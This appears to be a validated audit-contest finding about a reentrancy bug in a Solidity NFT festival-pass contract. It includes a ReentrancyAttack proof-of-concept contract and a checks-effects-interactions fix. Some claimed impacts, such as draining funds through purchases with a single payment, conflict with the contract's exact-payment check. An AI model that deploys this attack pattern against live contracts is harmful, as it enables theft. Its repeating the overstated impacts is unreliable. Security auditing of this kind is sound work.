Beatland Festival

First Flight #44
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: medium
Valid

Pass Purchase Reentrancy Vulnerability

Root + Impact

The buyPass function makes external calls after state checks but before state updates, creating a reentrancy vulnerability that allows attackers to bypass supply limits and drain contract funds.

Description

  • The normal behavior should update all internal state before making any external calls to prevent reentrancy attacks

  • The current implementation makes external calls (_mint and BeatToken.mint) while the contract state is still inconsistent, allowing malicious contracts to re-enter and exploit the function

function buyPass(uint256 collectionId) external payable {
require(collectionId == GENERAL_PASS || collectionId == VIP_PASS || collectionId == BACKSTAGE_PASS, "Invalid pass ID");
require(msg.value == passPrice[collectionId], "Incorrect payment amount");
@> require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached"); // Check before state update
@> _mint(msg.sender, collectionId, 1, ""); // External call before state update
@> ++passSupply[collectionId]; // State update after external call
uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0;
if (bonus > 0) {
@> BeatToken(beatToken).mint(msg.sender, bonus); // Another external call
}
}

Risk

Likelihood:

  • Attackers can deploy malicious contracts that implement ERC1155Receiver to trigger reentrancy

  • The vulnerability is exploitable whenever supply limits are close to being reached

Impact:

  • Bypass of maximum supply limits leading to overselling of passes

  • Potential fund drainage through multiple pass purchases with single payment

  • BEAT token inflation through repeated bonus distributions

  • Market manipulation through artificial scarcity bypass

Proof of Concept

contract ReentrancyAttack {
FestivalPass public festival;
uint256 public targetPassId = 2; // VIP_PASS
uint256 public attackCount;
constructor(address _festival) {
festival = FestivalPass(_festival);
}
function attack() external payable {
// Start the attack
festival.buyPass{value: msg.value}(targetPassId);
}
function onERC1155Received(
address,
address,
uint256,
uint256,
bytes memory
) public returns (bytes4) {
// Reentrancy point - passSupply not yet updated
if (attackCount < 3) { // Limit to prevent gas exhaustion
attackCount++;
// Re-enter buyPass - supply check will pass again
festival.buyPass{value: address(this).balance}(targetPassId);
}
return this.onERC1155Received.selector;
}
receive() external payable {}
}

Recommended Mitigation

function buyPass(uint256 collectionId) external payable {
require(collectionId == GENERAL_PASS || collectionId == VIP_PASS || collectionId == BACKSTAGE_PASS, "Invalid pass ID");
require(msg.value == passPrice[collectionId], "Incorrect payment amount");
require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached");
+ // Effects: Update state before external interactions
+ ++passSupply[collectionId];
+ uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0;
+ // Interactions: External calls after state updates
_mint(msg.sender, collectionId, 1, "");
- ++passSupply[collectionId];
- uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0;
if (bonus > 0) {
BeatToken(beatToken).mint(msg.sender, bonus);
}
emit PassPurchased(msg.sender, collectionId);
}
Updates

Lead Judging Commences

inallhonesty Lead Judge about 2 months ago
Submission Judgement Published
Validated
Assigned finding tags:

buyPass reentrancy to surpass the passMaxSupply

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.